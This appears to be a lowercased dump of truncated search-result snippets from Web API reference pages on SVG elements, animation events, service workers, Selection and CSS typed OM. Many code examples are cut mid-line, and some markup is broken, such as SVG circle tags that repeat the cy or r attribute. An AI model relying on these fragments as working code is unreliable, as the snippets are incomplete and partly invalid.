cancelable no interface timeevent event handler property onend examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <button>stop animation</button> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); let btn = document.queryselector('button'); animateelem.addeventlistener('beginev...
... () => { btn.disabled = true; animateelem.setattribute('repeatcount', '1'); }) event handler property equivalent note that you can also create an event listener for the end event using the onend event handler property: animateelem.onend = () => { console.log('endevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'endevent' in that specification.
... candidate recommendation initial definition ...
SVGAnimationElement: repeatEvent event - Web APIs
cancelable no interface timeevent event handler property onrepeat examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.textc...
...l; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the repeat event using the onrepeat event handler property: animateelem.onrepeat = () => { console.log('repeatevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'repeatevent' in that specification.
... candidate recommendation initial definition ...
targetElement - Web APIs
syntax var targetelement = someelement.targetelement; specifications specification status comment svg animations level 2the definition of 'svganimationelement.targetelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimationelement.targetelement' in that specification.
... recommendation initial definition ...
cx - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cx="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cx); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cx' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.cx' in that specification.
... recommendation initial definition ...
cy - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cy="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cy); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cy' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.cy' in that specification.
... recommendation initial definition ...
r - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle r="50" r="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.r); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.r' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.r' in that specification.
... recommendation initial definition ...
SVGCircleElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement' in that specification.
... candidate recommendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
SVGClipPathElement - Web APIs
specifications specification status comment css masking module level 1the definition of 'svgclippathelement' in that specification.
... candidate recommendation removed the inheritance from svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, svgtransformable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgclippathelement' in that specification.
... recommendation initial definition ...
SVGComponentTransferFunctionElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgcomponenttransferfunctionelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcomponenttransferfunctionelement' in that specification.
... recommendation initial definition ...
SVGDefsElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgdefselement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggraphicselement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdefselement' in that specification.
... recommendation initial definition ...
SVGDescElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgdescelement' in that specification.
... candidate recommendation removed the inheritance from svglangspace and svgstylable scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdescelement' in that specification.
... recommendation initial definition ...
SVGElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgelement' in that specification.
... recommendation initial definition ...
SVGEllipseElement - Web APIs
function outputsize() { var ellipse = document.getelementbyid("ellipse"); // outputs "horizontal radius: 100 vertical radius: 60" console.log( 'horizontal radius: ' + ellipse.rx.baseval.valueasstring, 'vertical radius: ' + ellipse.ry.baseval.valueasstring ) } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgellipseelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgellipseelement' in that specification.
... recommendation initial definition ...
SVGFEBlendElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfeblendelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeblendelement' in that specification.
... recommendation initial definition ...
SVGFEColorMatrixElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfecolormatrixelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfecolormatrixelement' in that specification.
... recommendation initial definition ...
SVGFEComponentTransferElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfecomponenttransferelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfecomponenttransferelement' in that specification.
... recommendation initial definition ...
SVGFECompositeElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfecompositeelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfecompositeelement' in that specification.
... recommendation initial definition ...
SVGFEConvolveMatrixElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfeconvolvematrixelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeconvolvematrixelement' in that specification.
... recommendation initial definition ...
SVGFEDiffuseLightingElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfediffuselightingelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfediffuselightingelement' in that specification.
... recommendation initial definition ...
SVGFEDisplacementMapElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfedisplacementmapelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfedisplacementmapelement' in that specification.
... recommendation initial definition ...
SVGFEDistantLightElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfedistantlightelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfedistantlightelement' in that specification.
... recommendation initial definition ...
SVGFEFloodElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefloodelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefloodelement' in that specification.
... recommendation initial definition ...
SVGFEFuncAElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefuncaelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefuncaelement' in that specification.
... recommendation initial definition ...
SVGFEFuncBElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefuncbelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefuncbelement' in that specification.
... recommendation initial definition ...
SVGFEFuncGElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefuncgelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefuncgelement' in that specification.
... recommendation initial definition ...
SVGFEFuncRElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfefuncrelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefuncrelement' in that specification.
... recommendation initial definition ...
SVGFEGaussianBlurElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfegaussianblurelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfegaussianblurelement' in that specification.
... recommendation initial definition ...
SVGFEImageElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfeimageelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeimageelement' in that specification.
... recommendation initial definition ...
SVGFEMergeElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfemergeelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemergeelement' in that specification.
... recommendation initial definition ...
SVGFEMergeNodeElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfemergenodeelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemergenodeelement' in that specification.
... recommendation initial definition ...
SVGFEMorphologyElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfemorphologyelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemorphologyelement' in that specification.
... recommendation initial definition ...
SVGFEOffsetElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfeoffsetelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeoffsetelement' in that specification.
... recommendation initial definition ...
SVGFEPointLightElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfepointlightelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfepointlightelement' in that specification.
... recommendation initial definition ...
SVGFESpecularLightingElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfespecularlightingelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfespecularlightingelement' in that specification.
... recommendation initial definition ...
SVGFESpotLightElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfespotlightelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfespotlightelement' in that specification.
... recommendation initial definition ...
SVGFETileElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfetileelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfetileelement' in that specification.
... recommendation initial definition ...
SVGFETurbulenceElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfeturbulenceelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeturbulenceelement' in that specification.
... recommendation initial definition ...
SVGFilterElement - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfilterelement' in that specification.
... working draft removed the inheritance from svglangspace, svgexternalresourcesrequired, svgstylable, and svgunittypes and removed the setfilterres() function scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfilterelement' in that specification.
... recommendation initial definition ...
SVGFilterPrimitiveStandardAttributes - Web APIs
specifications specification status comment filter effects module level 1the definition of 'svgfilterprimitivestandardattributes' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfilterprimitivestandardattributes' in that specification.
... recommendation initial definition ...
SVGForeignObjectElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgforeignobjectelement' in that specification.
... candidate recommendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggraphicselement and svgurireference scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgforeignobjectelement' in that specification.
... recommendation initial definition ...
SVGGElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svggelement' in that specification.
... recommendation initial definition ...
SVGGeometryElement.isPointInFill() - Web APIs
syntax boolean someelement.ispointinfill(dompointinit point); parameters point a dompointinit interpreted as a point in the local coordiante system of the element.
...ill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,10:', circle.ispointinfill(new dompoint(10, 10))); // point in circle console.log('point at 40,30:', circle.ispointinfill(new dompoint(40, 30))); result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.ispointinfill()' in that specification.
... candidate recommendation initial definition ...
SVGGeometryElement.isPointInStroke() - Web APIs
syntax boolean someelement.ispointinstroke(dompointinit point); parameters point a dompointinit interpreted as a point in the local coordinate system of the element.
...int at 10,10:', circle.ispointinstroke(new dompoint(10, 10))); // point in circle but not stroke console.log('point at 40,30:', circle.ispointinstroke(new dompoint(40, 30))); // point in circle stroke console.log('point at 83,17:', circle.ispointinstroke(new dompoint(83, 17))); result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.ispointinstroke()' in that specification.
... candidate recommendation initial definition ...
SVGGradientElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggradientelement' in that specification.
... candidate recommendation removed inheritance of svgexternalresourcesrequired, svgstylable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svggradientelement' in that specification.
... recommendation initial definition ...
SVGGraphicsElement: copy event - Web APIs
the copy event fires on svggraphicselements when the user initiates a copy action through the browser's user interface.
...: border-box; border: 1px solid black; } javascript document.getelementsbytagname("text")[0].addeventlistener("copy", evt => { evt.clipboarddata.setdata('text/plain', document.getselection().tostring().touppercase()); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
... clipboard api and events working draft initial definition ...
SVGGraphicsElement: cut event - Web APIs
the cut event is fired on an svggraphicselement when the user has initiated a "cut" action through the browserʼs user interface.
... specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
... clipboard api and events working draft initial definition ...
SVGGraphicsElement: paste event - Web APIs
the paste event is fired on an svggraphicselement when the user has initiated a "paste" action through the browser's user interface.
... border-box; border: 1px solid black; } javascript document.getelementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.clipboarddata.getdata("text/plain").touppercase(); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
... clipboard api and events working draft initial definition ...
SVGImageElement.decode - Web APIs
the decode() method of the svgimageelement interface initiates asynchronous decoding of an image, returning a promise that resolves once the image data is ready for use.
... specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation initial definition.
... html living standardthe definition of 'decode()' in that specification.
SVGImageElement.preserveAspectRatio - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'preserveaspectratio' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'preserveaspectratio' in that specification.
... recommendation initial definition ...
SVGLineElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svglineelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svglineelement' in that specification.
... recommendation initial definition ...
SVGLinearGradientElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svglineargradientelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svglineargradientelement' in that specification.
... recommendation initial definition ...
SVGMPathElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svgmpathelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmpathelement' in that specification.
... recommendation initial definition ...
SVGMaskElement - Web APIs
specifications specification status comment css masking module level 1the definition of 'svgmaskelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmaskelement' in that specification.
... recommendation initial definition ...
SVGMetadataElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgmetadataelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmetadataelement' in that specification.
... recommendation initial definition ...
SVGNumber - Web APIs
WebAPISVGNumber
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgnumber' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgnumber' in that specification.
... recommendation initial definition ...
SVGPathElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpathelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpathelement' in that specification.
... recommendation initial definition ...
SVGPatternElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpatternelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpatternelement' in that specification.
... recommendation initial definition ...
SVGPolygonElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpolygonelement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpolygonelement' in that specification.
... recommendation initial definition ...
SVGPolylineElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpolylineelement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpolylineelement' in that specification.
... recommendation initial definition ...
SVGRadialGradientElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgradialgradientelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgradialgradientelement' in that specification.
... recommendation initial definition ...
SVGRect - Web APIs
WebAPISVGRect
specifications specification status comment geometry interfaces module level 1the definition of 'domrect' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgrect' in that specification.
... recommendation initial definition ...
SVGRectElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgrectelement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgrectelement' in that specification.
... recommendation initial definition ...
SVGScriptElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgscriptelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgscriptelement' in that specification.
... recommendation initial definition ...
SVGSetElement - Web APIs
specifications specification status comment svg animations level 2the definition of 'svgsetelement' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgsetelement' in that specification.
... recommendation initial definition ...
SVGStopElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgstopelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgstopelement' in that specification.
... recommendation initial definition ...
SVGStyleElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgstyleelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgstyleelement' in that specification.
... recommendation initial definition ...
SVGSwitchElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgswitchelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgswitchelement' in that specification.
... recommendation initial definition ...
SVGSymbolElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgsymbolelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgsymbolelement' in that specification.
... recommendation initial definition ...
SVGTSpanElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtspanelement' in that specification.
... candidate recommendation no changes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtspanelement' in that specification.
... recommendation initial definition ...
SVGTests - Web APIs
WebAPISVGTests
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtests' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtests' in that specification.
... recommendation initial definition ...
SVGTextContentElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextcontentelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextcontentelement' in that specification.
... recommendation initial definition ...
SVGTextElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextelement' in that specification.
... recommendation initial definition ...
SVGTextPathElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextpathelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextpathelement' in that specification.
... recommendation initial definition ...
SVGTextPositioningElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextpositioningelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextpositioningelement' in that specification.
... recommendation initial definition ...
SVGTitleElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtitleelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtitleelement' in that specification.
... recommendation initial definition ...
SVGURIReference - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgurireference' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgurireference' in that specification.
... recommendation initial definition ...
SVGUnitTypes - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgunittypes' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgunittypes' in that specification.
... recommendation initial definition ...
SVGUseElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svguseelement' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svguseelement' in that specification.
... recommendation initial definition ...
SVGViewElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgviewelement' in that specification.
... candidate recommendation removed a mixin svgexternalresourcesrequired scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgviewelement' in that specification.
... recommendation initial definition ...
SecurityPolicyViolationEvent - Web APIs
examples document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); console.log(e.violateddirective); console.log(e.originalpolicy); }); specifications specification status comment content security policy level 2the definition of 'securitypolicyviolationevent' in that specification.
... recommendation initial definition.
... content security policy level 3the definition of 'securitypolicyviolationevent' in that specification.
Selection - Web APIs
WebAPISelection
typically, it holds only one range, accessed as follows: var selobj = window.getselection(); var range = selobj.getrangeat(0); selobj is a selection object range is a range object as the selection api specification notes, the selection api was initially created by netscape and allowed multiple ranges (for instance, to allow the user to select a column from a <table>).
...when making a selection with a mouse, the anchor is where in the document the mouse button is initially pressed.
... specifications specification status comment selection apithe definition of 'selection' in that specification.
Selection API - Web APIs
specifications specification status comment selection apithe definition of 'selection' in that specification.
... html editing apisthe definition of 'selection' in that specification.
... editor's draft initial (older) definition, which is now outdated.
ServiceWorker.state - Web APIs
syntax someurl = serviceworker.state value a serviceworkerstate definition (see the spec.) examples this code snippet is from the service worker registration-events sample (live demo).
...tcontent = 'waiting'; } else if (registration.active) { serviceworker = registration.active; document.queryselector('#kind').textcontent = 'active'; } if (serviceworker) { logstate(serviceworker.state); serviceworker.addeventlistener('statechange', function(e) { logstate(e.target.state); }); } specifications specification status comment service workersthe definition of 'state' in that specification.
... working draft initial definition ...
ServiceWorkerContainer.ready - Web APIs
it returns a promise that will never reject, and which waits indefinitely until the serviceworkerregistration associated with the current page has an active worker.
...dy .then(function(registration) { console.log('a service worker is active:', registration.active); // at this point, you can call methods that require an active // service worker, like registration.pushmanager.subscribe() }); } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkerregistration.ready' in that specification.
... working draft initial definition.
ServiceWorkerContainer - Web APIs
it returns a promise that will never reject, and which waits indefinitely until the serviceworkerregistration associated with the current page has an serviceworkerregistration.active worker.
... navigator.serviceworker.oncontrollerchange = function() { console.log('this page is now controlled by:', navigator.serviceworker.controller); }; } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkercontainer' in that specification.
... working draft initial definition.
ServiceWorkerGlobalScope - Web APIs
additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the fetch() method, can be used.
...out to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }, function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'serviceworkerglobalscope' in that specification.
... working draft initial definition ...
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
syntax var myswme = new serviceworkermessageevent(type, init); parameters type a domstring that defines the type of the message event being created.
... init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any type.
... examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myswme = new serviceworkermessageevent('message', init); ...
ServiceWorkerRegistration.active - Web APIs
this property is initially set to null.
... specifications specification status comment service workersthe definition of 'serviceworkerregistration.active' in that specification.
... working draft initial definition.
ServiceWorkerRegistration.installing - Web APIs
this property is initially set to null.
... specifications specification status comment service workersthe definition of 'serviceworkerregistration.installing' in that specification.
... working draft initial definition.
ServiceWorkerRegistration.waiting - Web APIs
this property is initially set to null.
... specifications specification status comment service workersthe definition of 'serviceworkerregistration.waiting' in that specification.
... working draft initial definition.
SourceBuffer.appendWindowEnd - Web APIs
the default value of appendwindowend is positive infinity.
... example tbd specifications specification status comment media source extensionsthe definition of 'appendwindowend' in that specification.
... recommendation initial definition.
SourceBuffer.timestampOffset - Web APIs
the initial value of timestampoffset is 0.
... example tbd specifications specification status comment media source extensionsthe definition of 'timestampoffset' in that specification.
... recommendation initial definition.
SourceBuffer - Web APIs
sourcebuffer.trackdefaults specifies the default values to use if kind, label, and/or language information is not available in the initialization segment of the media to be appended to the sourcebuffer.
...mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); } function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); } specifications specification status comment media source extensionsthe definition of 'sourcebuffer' in that specification.
... recommendation initial definition.
StaticRange.collapsed - Web APIs
specifications specification status comment domthe definition of 'collapsed' in that specification.
... living standard static rangethe definition of 'collapsed' in that specification.
... editor's draft initial definition.
StaticRange.endContainer - Web APIs
specifications specification status comment domthe definition of 'endcontainer' in that specification.
... living standard static rangethe definition of 'endcontainer' in that specification.
... editor's draft initial definition.
StaticRange.endOffset - Web APIs
specifications specification status comment domthe definition of 'endoffset' in that specification.
... living standard static rangethe definition of 'endoffset' in that specification.
... editor's draft initial definition.
StaticRange.startContainer - Web APIs
specifications specification status comment domthe definition of 'startcontainer ' in that specification.
... living standard static rangethe definition of 'startcontainer' in that specification.
... editor's draft initial definition.
StaticRange.startOffset - Web APIs
specifications specification status comment domthe definition of 'startoffset' in that specification.
... living standard static rangethe definition of 'startoffset' in that specification.
... editor's draft initial definition.
StylePropertyMapReadOnly.get() - Web APIs
let's start by creating a link inside a paragraph in our html, and adding a definition list which we will populate with javascript: <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a bit of css, including a custom property and an inhertable property: p { font-weight: bold; } a { --colour: red; color: var(--colour); } we use the element's computedstylemap() to return a stylepropertymapreadonly object.
...element('dt'); cssproperty.appendchild(document.createtextnode(ofinterest[i])); styleslist.appendchild(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode( stylemap.get(ofinterest[i]))); styleslist.appendchild(cssvalue); } specifications specification status comment css typed om level 1the definition of 'get()' in that specification.
... working draft initial definition.
StylePropertyMapReadOnly - Web APIs
</p> <dl id="output"></dl> we add a touch of css with a custom property to better demonstrate the output: p { --somevariable: 1.6em; --someothervariable: translatex(33vw); --anothervariable: 42; line-height: var(--somevariable); } we add javascript to grab our paragraph and return back a definition list of all the default css property values using computedstylemap().
...ties const cssproperty = document.createelement('dt'); cssproperty.appendchild(document.createtextnode(prop)); styleslist.appendchild(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode(val)); styleslist.appendchild(cssvalue); } specifications specification status comment css typed om level 1the definition of 'stylepropertymapreadonly' in that specification.
... working draft initial definition.
StyleSheet.disabled - Web APIs
} specification specification status comment css object model (cssom)the definition of 'stylesheet.disabled' in that specification.
... document object model (dom) level 2 style specificationthe definition of 'stylesheet.disabled' in that specification.
... obsolete initial definition.
StyleSheet - Web APIs
specifications specification status comment css object model (cssom)the definition of 'stylesheet' in that specification.
... document object model (dom) level 2 style specificationthe definition of 'stylesheet' in that specification.
... obsolete initial definition.
SubmitEvent() - Web APIs
syntax let submitevent = new submitevent(type,eventinitdict); parameters type a domstring indicating the event which occurred.
... eventinitdict optional an optional dictionary of initial values for the event's properties.
... specifications specification status comment html living standardthe definition of 'submitevent()' in that specification.
SubtleCrypto.deriveBits() - Web APIs
